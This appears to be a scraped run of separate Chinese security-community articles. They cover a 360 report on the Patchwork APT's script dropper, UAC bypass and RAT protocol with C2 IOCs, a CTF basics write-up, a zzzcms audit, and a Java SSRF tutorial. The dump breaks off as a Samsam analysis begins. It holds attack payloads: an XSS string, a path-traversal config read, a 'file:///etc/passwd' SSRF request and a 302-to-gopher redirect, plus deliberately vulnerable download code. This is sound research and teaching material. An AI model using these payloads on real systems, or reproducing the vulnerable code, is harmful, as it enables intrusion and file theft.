本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> “摩诃草”组织，又称Hangover、Viceroy Tiger、Patchwork、Dropping
> Elephant、MONSOON，国内其他安全厂商也称其为白象、丰收行动。
>
>
> 该组织是一个以长期针对中国、巴基斯坦及其他部分南亚国家从事网络间谍活动的APT组织。从2013年5月16日由国外安全厂商Norman首次曝光以来，该组织的网络攻击活动异常的活跃，并被国内外不少安全厂商相继发现其攻击事件和使用的恶意代码。
>
>
> 360公司也曾在2016年8月4日发布了《摩诃草组织（APT-C-09）来自南亚的定向攻击威胁》一文【1】，详细介绍了该组织发起的历史4次攻击行动，并对其历史使用的攻击工具和基础设施的关联性进行比较和总结。
>
>
> “摩诃草”组织主要针对我国的政府机构、科研教育领域以及军事领域的目标人员进行攻击，其主要使用鱼叉攻击，也使用基于即时通讯工具和社交网络作为恶意代码的投递途径。其攻击使用的恶意代码主要针对Windows系统，历史也出现过针对其他平台的恶意代码。
>
> 360威胁情报中心在近期对“摩诃草”组织的攻击活动监测过程中，发现其投入使用的新的攻击样本，我们决定发布此篇子分析报告，揭露该组织最新的攻击技术细节。
## 背景概述
“摩诃草”组织的攻击活动从2013年5月16日首次曝光以来，其历史的攻击行动及使用的攻击工具和资源也被国内外安全厂商多次揭露，但从360威胁情报中心对该组织的持续监测显示，该组织的攻击行动从未停止，并持续保持着一个比较高的频度活跃。
自我们上一次公开发布“摩诃草”组织的完整分析报告，已经过去了一年多，我们发现该组织在过去一年依然延续了过去的一些攻击模式，但使用的攻击工具和恶意代码还是出现了一些显著变化。
我们发现，“摩诃草”组织最近发起了一次可能是针对东欧部分国家的攻击事件，并使用了其新制作的一些基于脚本的攻击恶意代码文件，和过去常见的采用诱导漏洞文档类的攻击载荷手法出现了一些明显变化，并且已经有部分乌克兰用户遭受此类攻击并被植入远控木马。
目前我们尚不能确定该攻击事件背后的攻击动机，但为了预防该组织在未来的攻击行动中进一步大规模使用该类攻击恶意代码，我们决定披露其部分技术细节并预警，以便能更好的防御其未来使用该类攻击技术。
下面我们将重点分析“摩诃草”组织最新的脚本类攻击恶意代码技术。
## 基于脚本的攻击载荷投放
在“摩诃草”组织最新制作的攻击恶意代码中，我们发现其主体模块使用JS和PowerShell脚本进行编写，并利用多次解密、拼接来释放和加载下一阶段的攻击载荷。
下图为该恶意代码的结构和执行流程。
### Dropper JS – dog.js
Dropper
JS是一个96KB的脚本，其会释放一个中间JS脚本。其前面部分为hex形式的附加数据被作为注释语句存放；后面的脚本会先获取当前正在执行脚本的路径，并读取自身文件数据，找到前面注释的附加数据拼接起来，转换成二进制形式，保存到”%temp%\laksasokpaslkak.js”，最后通过WScript容器执行这个脚本。
### 中间JS脚本 – laksasokpaslkak.js
该脚本会首先判断目标主机是否存在卡巴和NOD32程序，如果存在则脚本退出；如果不存在，会把脚本里的“dllData”和“code”两个数据一起写入到一个PowerShell脚本文件中，其名字为随机生成的5个字节。最后执行该PowerShell脚本。
### 随机名称PowerShell脚本
该PowerShell脚本以数组形式乱序放置Base64编码的数据，通过Base64解码并解压成PowerShell脚本后，采用了一种Bypass
UAC的形式来执行该脚本。其使用的Bypass
UAC技术在另一个APT组织“海莲花”的攻击工具中也曾使用【2】。其通过修改注册表键值劫持eventvwr.exe，调用SC命令创建一个服务，并指向解密后的PowerShell脚本。
### PowerShell Loader
PowerShell Loader脚本也是随机生成的名字，其主要功能是加载主体远控模块。
该脚本从内存中加载payload，如下为加载代码流程：
其中“strexp”保存的为远控模块的文件数据，经过base64decode解码得到原始文件内容为一个DLL文件，其导出模块名为socksbot.dll。最后使用ReflectiveLoader技术加载。
通过对加载的部分代码分析，我们推测其可能参考了开源的代码实现【3】，并添加了在64位Windows系统下的兼容性代码。
## 远控模块分析
### 加载入口 – ReflectiveLoader
该函数首先获取当前函数的地址，然后往前搜索PE头部“MZ”标志以定位该DLL模块的基地址。
通过hash获取3个函数LoadLibrary、GetProcAddr、VirtualAlloc的地址。
然后调用VirtualAlloc分配一片内存空间。
把该DLL模块复制到新申请的内存中。
然后执行DllMain。
### 执行入口 – DllMain
DllMain会首先获取一些硬件信息计算出机器码。机器码是根据驱动器信息、电脑名和用户名算出来的：
然后会获取GetProcAddress和LoadLibraryA的地址，并把sub_1000234A代码通过复写进程的方式注入svchost.exe宿主中，如图：
注入后的代码会初始化网络套接字，发送一次touch包，然后创建一个主线程函数，如下：
在主线程中会连接C&C服务器地址5.8.88.64:80。
### 控制协议
这里我们详细分析该远控模块使用的控制通信协议，其基于HTTP协议实现控制通信。
1. **touch包**
远控模块会发送touch数据包，其会根据机器码生成对应的php路径用作HTTP访问的请求路径，其将机器码和随机生成的密钥加密并附上密钥信息。
其具体算法实现如下：
计算后生成的机器码字符串是放到HTTP数据包的GET数据里，例如生成的字符串为j2ylvj50suxr8vzss17s3.php，那么加密后的机器码数据为j2ylvj50suxr8vzss17s3。其前16字节是机器码加密后的数据，从16字节开始到末尾是随机生成的密钥信息，密钥长度在5-16字节随机，数值的范围在0-35随机，然后通过编码成可见字符。
当服务器接收到该字符串会采用如下方式解密还原机器码：
* 分割出加密的机器码和密钥
* 通过解密算法去解密前面16字节的机器码。
例如这里对j2ylvj50suxr8vzss17s3.php进行解密。
分割j2ylvj50suxr8vzs为加密的16字节机器码，s17s3为随机生成的密钥。解密算法如下。
从而解密还原出原始的机器码：
其随后构造成HTTP格式的数据包发送出去。
如图为构造HTTP数据包的函数，UserAgent是通过ObtainUserAgentString函数生成的。
2. 指令下发
远控服务器是通过不同的HTTP状态码来下发控制指令，受控端会进行判断。
在返回的HTTP数据包头中，Date字段中存放服务器返回的机器码。
受控端会对服务器下发的控制信息进行解密，解密算法如下：
其解密密钥为136字节。
EC1ABCB66F641126C2250C5CF26C9902BD53043EAAF5FE0374597261674FD732E2C0498A9FA06203C5641323C3B4DDCB5CD8A22A0EDCAE39A11D7E98A2B1B6276C595E7CC1E1A0C743B8C075416C7DB3CB509AB5059556E99D2818BDDDEEE508AC871474239CC4B5527A8AED49949D5A421C785484ED084F1FCD3D3CFD1D8D8B
3. 回传数据
受控端接受到控制服务器下发的指令后，会根据HTTP返回的状态码确定要执行的命令，例如返回码是203的时候就会上传执行，返回码是202的时候就会截屏和获取进程列表。
并且上传数据按如下格式构造：
4个字节长度 + 1字节token + 加密后的内容。
例如这里执行获取屏幕截屏和进程快照信息，并加密发送到控制服务器。
### 功能小结
该远控模块实现了以下控制命令，包括：
* 上传执行脚本
* 上传执行PE
* 回传屏幕截屏
* 回传进程列表
其使用HTTP协议进行控制通信，采用这种控制协议也更便于攻击者使用Web页面来可视化控制和管理失陷主机，其HTTP协议通信步骤如下：
* 机器中木马后，会每隔不定时间间隔去连接C&C服务器的80端口，根据HTTP协议发送touch包，发送的http数据包的GET数据中包括编码后的长度随机的机器码。
* 服务器收到touch包后，会记录下来最近一次活跃时间，判断是否在线。
* 服务器如果需要对受控端进行控制，就会回一个202或者203的HTTP状态码，下发指令。下发的指令是在http数据段里面，数据包格式为4个字节长度+1个字节token+加密后的内容。
* 受控端收到命令后，会判断服务器返回的http状态码，根据不同的状态码去解析数据包去执行不同的命名，然后把执行后的结果回传给服务器。
* 控制者可以通过对服务端的Web界面对受害者进行控制。
交互操作可以总结为如下图：
## 关联分析与回溯
360威胁情报中心通过对PowerShell Loader脚本中的关键字搜索，发现了其在一个VPS主机上搭建的Web控制端页面。
主控端的界面如下，最后一次测试时间应该在2017年6月，已经在近半年以前。
通过该Web管理后台可以对受控机器进行控制操作。
另外一个Loots页面保存了控制端发送控制指令后的一些日志数据，包括执行命令、上传文件、截屏、下载文件、执行脚本的功能。
我们从日志数据中找到了一个名为setup.js的脚本文件，其代码和我们分析的laksasokpaslkak.js的代码大致一样。
通过把该脚本中的DLL数据用同样的方法解密出来后，发现和前面分析的远控模块socksbot.dll完全一样，其C&C为46.166.163.243，与测试机IP
46.166.163.242属于同一网段。
查询360威胁情报平台数据确定其属于“摩诃草”组织。
我们可以看到测试机执行命令后的一些结果日志。
执行ipconfig命令的结果。
我们还发现攻击者曾在测试机上测试上传其另外的远控木马程序和从远程地址下载恶意载荷。
这个Web版木马控制端程序的网站域名（yds.deckandpatio.ca）绑定的IP地址为91.235.129.203。
这个IP的别名为：vds8262.hyperhost.name。
我们发现其是在一个乌克兰的服务商上申请注册的VPS服务器，其服务商官网为https://hyperhost.ua/ru。而yds.deckandpatio.ca这个域名应该是其提供的一个免费的二级域名。
## 总结
通过分析“摩诃草”组织最新制作并投入使用的攻击恶意代码，攻击者选择脚本类语言来重新实现攻击载荷的投放组件，可能源于其对开发工具的便利性和效率的倾向性。
虽然我们没有明确线索证实该次针对乌克兰人员的攻击事件中该类攻击脚本是如何诱导受陷用户下载和运行的，但根据其过去的攻击模式推测，其可能采用如下几种方式。
* 构造包含有恶意脚本的自解压执行的压缩包；
* 鱼叉攻击，并附带有包含恶意脚本的压缩包文件或附有恶意脚本压缩程序下载的钓鱼链接；
* 在社交网络上发送附有恶意脚本压缩程序下载的钓鱼链接；
也不排除其可能通过入侵网站，在页面植入恶意脚本代码的方式。
从“摩诃草”过去采用的攻击模式和使用的恶意代码技术来看，该组织比较偏好于使用脚本和C#来开发攻击工具的习惯。我们推测其更倾向于选择能够快速开发和实现攻击的方式，并且通过不断更新和变化的攻击工具来逃避检测和隐藏其攻击行径。攻击者还制作了可用于Web管理的控制后台程序来方便大规模管理和控制受陷主机。
从我们发现的攻击者注册的VPS服务器及其Web控制页面，攻击者发起新的攻击和使用新的恶意代码工具至少会提前半年进行准备和测试。
目前我们还无法推测其发起此次攻击事件的动机，可能是该组织针对东欧部分国家发起的定向攻击，也不排除是其发起的一次基于新制作的攻击武器的一次实战演练。所以我们在此对该类恶意代码的部分技术细节进行披露，以便于提前防御该组织在未来的攻击行动中进一步大规模使用该类攻击恶意代码。
## 参考链接
【1】2016.8.4 360威胁情报中心
<https://ti.360.net/blog/uploads/2017/09/21/6286ad3a711b98acf1fe49cafc3d1669.pdf>
【2】2017.11.30 360威胁情报中心
<https://ti.360.net/blog/articles/exploit-kit-in-oceanlotus-group/>
【3】PowerShell ReflectivePEInjection脚本
<https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1>
## IOC列表
C&C服务器
5.8.88.64
文件名
laksasokpaslkak.js
互斥体
Global\\\\[num]stp
Global\\\\[num]nps
解密密钥
EC1ABCB66F641126C2250C5CF26C9902BD53043EAAF5FE0374597261674FD732E2C0498A9FA06203C5641323C3B4DDCB5CD8A22A0EDCAE39A11D7E98A2B1B6276C595E7CC1E1A0C743B8C075416C7DB3CB509AB5059556E99D2818BDDDEEE508AC871474239CC4B5527A8AED49949D5A421C785484ED084F1FCD3D3CFD1D8D8B | 社区文章 |
# 1.选择题
1、主要用于加密机制的协议是()。
SSL
2、向有限的空间输入超长的字符串是哪一种攻击手段？
缓冲区溢出
3、为了防御网络监听，最常用的方法是
信息加密
4、使网络服务器中充斥着大量要求回复的信息，消耗带宽，导致网络或系统停止正常服务，这属于什么攻击类型?
BIND漏洞
5、用户收到了一封可疑的电子邮件,要求用户提供银行账户及密码,这是属于何种攻击手段？
钓鱼攻击
6、Windows NT 和Windows Server系统能设置为在几次无效登录后锁定帐号,这可以防止
暴力攻击
7、下列不属于系统安全的技术是( )
认证
8、以下关于DOS攻击的描述，哪句话是正确的？( )
导致目标系统无法处理正常用户的请求
9、许多黑客攻击都是利用软件实现中的缓冲区溢出的漏洞，对于这一威胁，最可靠的解决方案是什么？( )
给系统安装最新的补丁
10、下面哪个功能属于操作系统中的日志记录功能( )
对计算机用户访问系统和资源的情况进行记录
11、邮件炸弹攻击主要是( )
添满被攻击者邮箱
12、故意制作、传播计算机病毒等破坏性程序，影响计算机系统正常运行，后果严重的，将受到____处罚
处五年以下有期徒刑或者拘役
13、网络物理隔离是指( )
两个网络间链路层、网络层在任何时刻都不能直接通讯
14、VPN是指( )
虚拟的协议网络
15、NAT 是指( )
网络地址转换
16、局域网内如果一个计算机的IP地址与另外一台计算机的IP地址一样，则（ ）
两台计算机都无法通讯
17、一台交换机具有48个10／100Mbps端口和2个1000Mbps端口，如果所有端口都工作在全双工状态，那么交换机总带宽应为（ ）
13.6Gbps
18、IP地址块211.64.0.0／11的子网掩码可写为 ( )
255.224.0.0
19、某企业产品部的IP地址块为211.168.15.192／26，市场部的为211.168.15.160／27，财务部的为211.168.15.128／27，这三个地址块经聚合后的地址为
211.168.15.128／25
20、下列对IPv6地址FF23：0：0：0：0510：0：0：9C5B的简化表示中，错误的是 （ )
FF23：0：0：0：051：：9C5B
# 2.基础关
## **1.key在哪里**
url：<http://lab1.xseclab.com/base1_4a4d993ed7bd7d467b27af52d2aaa800/index.php>
查看网页源代码的方式有4种，分别是：1、鼠标右击会看到”查看源代码“，这个网页的源代码就出现在你眼前了；2、可以使用快捷Ctrl+U来查看源码；3、在地址栏前面加上view-source，如view-source：<https://www.baidu.com> ;
4、浏览器的设置菜单框中，找到“更多工具”，然后再找开发者工具，也可以查看网页源代码。
这道题明显考查查看源代码的方式，右键审查元素
key is jflsjklejflkdsjfklds
## **2.ROT13加密**
url：<http://hackinglab.cn/ShowQues.php?type=bases>
根据题意，“再加密一次”判断是ROT-13
ROT13是它自己本身的逆反；也就是说，要还原ROT13，套用加密同样的算法即可得，故同样的操作可用再加密与解密
使用在线解密工具
<http://www.rot13.de/>
xrlvf23xfqwsxsqf 把数据复制过去，点击下方的按钮
key is 23ksdjfkfds
## **3.base64 加密**
url：<http://hackinglab.cn/ShowQues.php?type=bases>
因为后面有“=”初次判断为base64
BASE64：是一种基于64个可打印字符来表示二进制数据的表示方法。Base64编码要求把3个8位字节（38=24）转化为4个6位的字节（46=24），之后在6位的前面补两个0，形成8位一个字节的形式，Base64的尾部填充用的是“=”号，只是用来补足位数的，以四个字符为一个块，最末尾不足四个字符的用“=”号填满。
base64，base32，base16的区别：
base64中包含大写字母（A-Z）、小写字母（a-z）、数字0——9以及+/；
base32中只有大写字母（A-Z）和数字234567
base16中包含了数字(0-9)和大写字母(A~F)
根据加密后的字符串所以只能是base64
**第一种方法：使用base64在线解密工具**
<http://tool.oschina.net/encrypt?type=3>
把加密后的字符串复制黏贴到右边，进行解密
点击 BASE64解码，发现没有出来没发现key.
再次解密！！！！复制左面的面的编码粘贴至右面再次解码！!!一直复制粘贴出来key为止
进行了20次的复制黏贴，终于得到了！
key is jkljdkl232jkljkdl2389
**第二种方法：使用php脚本**
<?php
$data = "ba64加密的代码...";
$num = 0;
for ($i=0; $i < 1000; $i++) {
$data2 = base64_decode($data);
$data = base64_decode($data2);
echo $data."<br/>";//不是$data就是$data2;两个随便输出一个就行了。
}
**第三种方法：使用python脚本**
第一个脚本：python3
#base64模块，专门用作base64编码解码的。
import base64
# 加密解密函数
def encrypt_decrypt(string):
#首先，Base64生成的编码都是ascii字符。其次，python3中字符都为unicode编码，而b64encode函数的参数为byte类型，所以必须先转码。
#将字符串转换成bytes 编码格式utf-8
#编码可以将抽象字符以二进制数据的形式表示，有很多编码方法，如utf-8、gbk等，可以使用encode()函数对字符串进行编码，转换成二进制字节数据，也可用decode()函数将字节解码成字符串；用decode()函数解码，可不要用指定编码格式；
#m查看循环次数
m = 0
#把string通过encode（）进行转换
bytesString = string.encode(encoding='utf-8')
#使用了try···except···finally····捕获异常
try:
while True:
m += 1
decodeStr = base64.b64decode(bytesString)
#赋值
bytesString = decodeStr
#发生异常则输出这个
except Exception:
#decode()方法以encoding指定的编码格式解码字符串，默认编码为字符串编码
print('base64解码后的字符串：', decodeStr.decode())
#无论try是否异常，finally总会执行
finally:
print(m)
#程序的入口main ，作用：防止在被其他文件导入时显示多余的程序主体部分。
if __name__ == '__main__':
#测试数据
encrypt_decrypt('字符串')
第二个脚本：python2
import base64
s = "加密后的字符串"
a = 0
try:
while True:
s = base64.decodestring(s)
a += 1
except Exception:
print s
print a
## **4.MD5加密**
url：<http://hackinglab.cn/ShowQues.php?type=bases>
使用md5在线解密
<https://cmd5.org/>
bighp
## **5.种族歧视**
url：<http://lab1.xseclab.com/base1_0ef337f3afbe42d5619d7a36c19c20ab/index.php>
第一种方法：burp抓包
发现语言，因为这个网站只能让外国人进，所以把语言换成en-US
放包，得到`key is: *(TU687jksf6&*`
第二种方法：使用Python3脚本
import urllib,urllib.request
headers = {
"Accept-Language": "en-US,en;q=0.9",
'User-Agent': "HAHA"
}
def getpage(path): # 抓取网页源代码
# data = urllib.request.urlopen(path).read().decode("gbk", "ignore") # 中文网页
# return data
request = urllib.request.Request(url=path, headers=headers) # 冒充其他浏览器
response = urllib.request.urlopen(request) # 会话，打开网页
data = response.read().decode("utf-8", "ignore") # 读取网页并且编码
return data
print(getpage('http://lab1.xseclab.com/base1_0ef337f3afbe42d5619d7a36c19c20ab/index.php'))# 网址自行更换
## **6.HAHA浏览器**
url：<http://lab1.xseclab.com/base6_6082c908819e105c378eb93b6631c4d3/index.php>
第一种方法：burp抓包
发现有浏览器信息，那我们把浏览器改成HAHA
放包，得到key is: meiyouHAHAliulanqi
第二种方法：使用Python3脚本
import urllib,urllib.request
headers = {
"Accept-Language": "en-US,en;q=0.9",
'User-Agent': "HAHA"
}
def getpage(path): # 抓取网页源代码
# data = urllib.request.urlopen(path).read().decode("gbk", "ignore") # 中文网页
# return data
request = urllib.request.Request(url=path, headers=headers) # 冒充其他浏览器
response = urllib.request.urlopen(request) # 会话，打开网页
data = response.read().decode("utf-8", "ignore") # 读取网页并且编码
return data
print(getpage('http://lab1.xseclab.com/base6_6082c908819e105c378eb93b6631c4d3/index.php'))# 网址自行更换
## **7.key究竟在哪里呢？**
第一种方法：右键审查元素，得到Key: kjh%#$#%FDjjj
第二种方法：burp抓包，发送到重放模块，点击go，得到Key: kjh%#$#%FDjjj
## **8.key又找不到了**
url：<http://lab1.xseclab.com/base8_0abd63aa54bef0464289d6a42465f354/index.php>
点击到这里找key，抓包重放，得到./key_is_here _now_.php
访问<http://lab1.xseclab.com/base8_0abd63aa54bef0464289d6a42465f354/key_is_here_now_.php>
得到key: ohHTTP302dd
## **9.冒充登陆用户**
url：<http://lab1.xseclab.com/base9_ab629d778e3a29540dfd60f2e548a5eb/index.php>
第一种方法：burp抓包，cookie里的login参数改为1
得到key is: yescookieedit7823789KJ
第二种方法：使用python3脚本
import urllib,urllib.request
headers = {
"Accept-Language": "en-US,en;q=0.9",
'Cookie': "Login=1"
}
def getpage(path): # 抓取网页源代码
# data = urllib.request.urlopen(path).read().decode("gbk", "ignore") # 中文网页
# return data
request = urllib.request.Request(url=path, headers=headers) # 冒充其他浏览器
response = urllib.request.urlopen(request) # 会话，打开网页
data = response.read().decode("utf-8", "ignore") # 读取网页并且编码
return data
print(getpage('http://lab1.xseclab.com/base9_ab629d778e3a29540dfd60f2e548a5eb/index.php'))# 网址自行更换
## **10.比较数字大小**
url：<http://lab1.xseclab.com/base10_0b4e4866096913ac9c3a2272dde27215/index.php>
第一种方法，右键审查元素，前端验证，发现在框里最大长度是3，如图修改
输入9999，得到key is 768HKyu678567&*&K
第二种方法，burp抓包，直接输9999即可
## **11.本地的诱惑**
url：<http://lab1.xseclab.com/base11_0f8e35973f552d69a02047694c27a8c9/index.php>
第一种方法：审查元素，得到key is ^&*(UIHKJjkadshf
第二种方法，必须本地访问，burp抓包，在 Request 中加入请求头 X-Forwarded-For: 127.0.0.1 ，得到key is
^&*(UIHKJjkadshf
注：X-Forwarded-For:简称XFF头，它代表客户端，也就是HTTP的请求端真实的IP，只有在通过了HTTP
代理或者负载均衡服务器时才会添加该项。它不是RFC中定义的标准请求头信息，在squid缓存代理服务器开发文档中可以找到该项的详细介绍。标准格式如下：X-Forwarded-For: client1, proxy1, proxy2。
## **12.就不让你访问**
url：<http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/index.php>
查看robots.txt,<http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/robots.txt>
注：disallow 一般是用在robots.txt中的。表示禁止搜索引擎抓取。
Disallow，正是robots.txt文件中设置禁止搜索引擎收录哪些目录的一个词语。
访问<http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/9fb97531fe95594603aff7e794ab2f5f/>
访问<http://lab1.xseclab.com/base12_44f0d8a96eed21afdc4823a0bf1a316b/9fb97531fe95594603aff7e794ab2f5f/login.php>
得到right! key is UIJ%%IOOqweqwsdf
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
### 前言
最近由于肺炎疫情的原因在家没事，决定趁此机会学学代码审计，从网上找了款cms叫zzzcms，下载的php版的1.7.5版本，然后本地搭建成功开始了一顿乱审计。
#### 1\. 后台寻找
后台寻找方法，该后台大部分admin+三位数字，所以可以采用爆破的方式获取后台地址 该后台地址为admin371
#### 2\. 验证码问题
##### （1） 管理员登录面验证码登录
在 admin371/login.php
19行可以看出get_cookie('adminname')不为空就可以绕过，如何获得get_cookie('adminname')的值
在24行可以看出如果存在密码的话会返回cookie中adminpass值，根据返回的adminpass的形式可以推断出adminname的值
可以看到adminpass为zzz920_adminpass，所以推断adminname为zzz920_adminname
可以看到已经在无验证码的情况下已经登录成功了
##### (2)验证码不刷新不过期
在inc/zzz_main.php中582行可以看到从SESSION中取code的值，在inc/imgcode.php中只要不刷新就不会重新生成code，导致验证码不过期
#### 3\. 前端XSS漏洞
<http://127.0.0.1/plugins/template/login.php?backurl=1%20onmouseover%3dalert(9516)%20y%3d>
该onmouseover事件在移动到登录注册时会触发
对传入的backurl并没有做任何防护
#### 4\. 登录后任意文件读取
##### （1）任意文件读取一
首先来看防护规则，不允许出现./
看 safe_path 只能是upload template runtime路径下的
所以构造/runtime/..\config/zzz_config.php 即可绕过防护
##### （2）任意文件读取
首先来看restore函数，mysql数据库，发现path是可控的，看955行，跟进到load_file函数
在zzz_file.php文件中，如果存在该path,则通过file_get_contents读取
然后现在的想法是如何输入出来，跟进到db_exec()函数
在zzz_db.php中，看str_log把sql语句写入到了log中
在zzz.file.php中，跟进到str_log文件，看到文件的命名规则，
文件命名规则为当天时间的时间戳+数据库用户+数据库密码，并且是未授权访问 | 社区文章 |
本文主要说明Java的SSRF的漏洞代码、利用方式、如何修复。
网络上对Java的SSRF介绍较少，甚至还有很多误区。
### 1\. 漏洞简介
> SSRF(Server-side Request Forge, 服务端请求伪造)。
> 由攻击者构造的攻击链接传给服务端执行造成的漏洞，一般用来在外网探测或攻击内网服务。
### 2\. 漏洞利用
#### 2.1 网络请求支持的协议
由于Java没有php的cURL，所以Java SSRF支持的协议，不能像php使用`curl -V`查看。
Java网络请求支持的协议可通过下面几种方法检测：
* 代码中遍历协议
* 官方文档中查看
* `import sun.net.www.protocol`查看
从`import sun.net.www.protocol`可以看到，支持以下协议
file ftp mailto http https jar netdoc
#### 2.2 发起网络请求的类
当然，SSRF是由发起网络请求的方法造成。所以先整理Java能发起网络请求的类。
* HttpClient
* [Request](http://hc.apache.org/httpcomponents-client-ga/fluent-hc/apidocs/org/apache/http/client/fluent/Request.html) (对HttpClient封装后的类)
* HttpURLConnection
* URLConnection
* URL
* okhttp
如果发起网络请求的类是带HTTP开头，那只支持HTTP、HTTPS协议。
比如：
HttpURLConnection
HttpClient
Request
okhttp
所以，如果用以下类的方法发起请求，则支持`sun.net.www.protocol`所有协议
URLConnection
URL
注意，[Request](http://hc.apache.org/httpcomponents-client-ga/fluent-hc/apidocs/org/apache/http/client/fluent/Request.html)类对HttpClient进行了封装。类似Python的requests库。
用法及其简单，一行代码就可以获取网页内容。
Request.Get(url).execute().returnContent().toString();
#### 2.3 漏洞代码
使用URL类的openStream发起网络请求造成的SSRF（Java Web代码）。
代码功能是远程下载文件并下载。
/**
* Author: JoyChou
* Date: 17/4/1
*/
import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;
import java.io.InputStream;
import java.io.OutputStream;
import com.google.common.io.Files;
import org.apache.commons.lang.StringUtils;
import java.net.URL;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@Controller
@EnableAutoConfiguration
public class SecController {
@RequestMapping("/")
@ResponseBody
String home() {
return "Hello World!";
}
@RequestMapping("/download")
@ResponseBody
public void downLoadImg(HttpServletRequest request, HttpServletResponse response) throws IOException{
try {
String url = request.getParameter("url");
if (StringUtils.isBlank(url)) {
throw new IllegalArgumentException("url异常");
}
downLoadImg(response, url);
}catch (Exception e) {
throw new IllegalArgumentException("异常");
}
}
private void downLoadImg (HttpServletResponse response, String url) throws IOException {
InputStream inputStream = null;
OutputStream outputStream = null;
try {
String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." +Files.getFileExtension(url);
response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);
URL u;
int length;
byte[] bytes = new byte[1024];
u = new URL(url);
inputStream = u.openStream();
outputStream = response.getOutputStream();
while ((length = inputStream.read(bytes)) > 0) {
outputStream.write(bytes, 0, length);
}
}catch (Exception e) {
e.printStackTrace();
}finally {
if (inputStream != null) {
inputStream.close();
}
if (outputStream != null) {
outputStream.close();
}
}
}
public static void main(String[] args) throws Exception {
SpringApplication.run(SecController.class, args);
}
}
利用方式：
# 利用file协议查看任意文件
curl -v 'http://localhost:8080/download?url=file:///etc/passwd'
尝试发起gopher协议，收到异常：
java.net.MalformedURLException: unknown protocol: gopher
所以，除了上面的协议都不支持。
那尝试使用302跳转到gopher进行bypass。
先在一台vps上写一个302.php，如果发生跳转，那么35.185.163.134的2333端口将会收到请求。
PS：Java默认会URL重定向。
<?php
$url = 'gopher://35.185.163.134:2333/_joy%0achou';
header("location: $url");
?>
访问payload
http://localhost:8080/download?url=http://joychou.me/302.php
收到异常：
java.net.MalformedURLException: unknown protocol: gopher
跟踪报错代码：
private boolean followRedirect() throws IOException {
if(!this.getInstanceFollowRedirects()) {
return false;
} else {
final int var1 = this.getResponseCode();
if(var1 >= 300 && var1 <= 307 && var1 != 306 && var1 != 304) {
final String var2 = this.getHeaderField("Location");
if(var2 == null) {
return false;
} else {
URL var3;
try {
// 该行代码发生异常，var2变量值为`gopher://35.185.163.134:2333/_joy%0achou`
var3 = new URL(var2);
/* 该行代码，表示传入的协议必须和重定向的协议一致
* 即http://joychou.me/302.php的协议必须和gopher://35.185.163.134:2333/_joy%0achou一致
*/
if(!this.url.getProtocol().equalsIgnoreCase(var3.getProtocol())) {
return false;
}
} catch (MalformedURLException var8) {
var3 = new URL(this.url, var2);
}
从上面的followRedirect方法可以看到：
* 实际跳转的url也在限制的协议内
* 传入的url协议必须和重定向的url协议一致
所以，Java的SSRF利用方式比较局限
* 利用file协议任意文件读取。
* 利用http协议端口探测
其他漏洞代码可查看：<https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java>
### 3\. 白盒规则
上面的漏洞代码可总结为4种情况：
/*
* Author: JoyChou(2017年04月11日)
*/
/* 第一种情况
* Request类
*/
Request.Get(url).execute()
/* 第二种情况
* URL类的openStream
*/
URL u;
int length;
byte[] bytes = new byte[1024];
u = new URL(url);
inputStream = u.openStream();
/* 第三种情况
* HttpClient
*/
String url = "http://127.0.0.1";
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse;
try {
// 该行代码发起网络请求
httpResponse = client.execute(httpGet);
/* 第四种情况
* URLConnection和HttpURLConnection
*/
URLConnection urlConnection = url.openConnection();
HttpURLConnection urlConnection = url.openConnection();
### 4\. 漏洞修复
那么，根据利用的方式，修复方法就比较简单。
* 限制协议为HTTP、HTTPS协议。
* 禁止URL传入内网IP或者设置URL白名单。
* 不用限制302重定向。
漏洞修复代码如下：
需要添加guava库(目的是获取一级域名)，在pom.xml中添加
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>21.0</version>
</dependency>
代码的验证逻辑：
1. 验证协议是否为http或者https
2. 验证url是否在白名单内
函数调用：
String[] urlwhitelist = {"joychou.org", "joychou.me"};
if (!securitySSRFUrlCheck(url, urlwhitelist)) {
return;
}
函数验证代码：
public static Boolean securitySSRFUrlCheck(String url, String[] urlwhitelist) {
try {
URL u = new URL(url);
// 只允许http和https的协议通过
if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
return false;
}
// 获取域名，并转为小写
String host = u.getHost().toLowerCase();
// 获取一级域名
String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString();
for (String whiteurl: urlwhitelist){
if (rootDomain.equals(whiteurl)) {
return true;
}
}
return false;
} catch (Exception e) {
return false;
}
}
最后，如果各位看客老爷，发现有其他的类也能发起网络请求，麻烦评论回复下。 | 社区文章 |
# 对恶意勒索软件Samsam多个变种的深入分析
|
##### 译文声明
本文是翻译文章，文章来源：www.crowdstrike.com
原文地址：<https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/>
译文仅供参考，具体内容表达以及含义原文为准。
##
## 一、概述
本文主要对恶意软件Samsam进行深入分析，该恶意软件是由BOSS SPIDER开发和运营，这一组织的活动被CrowdStrike® Falcon
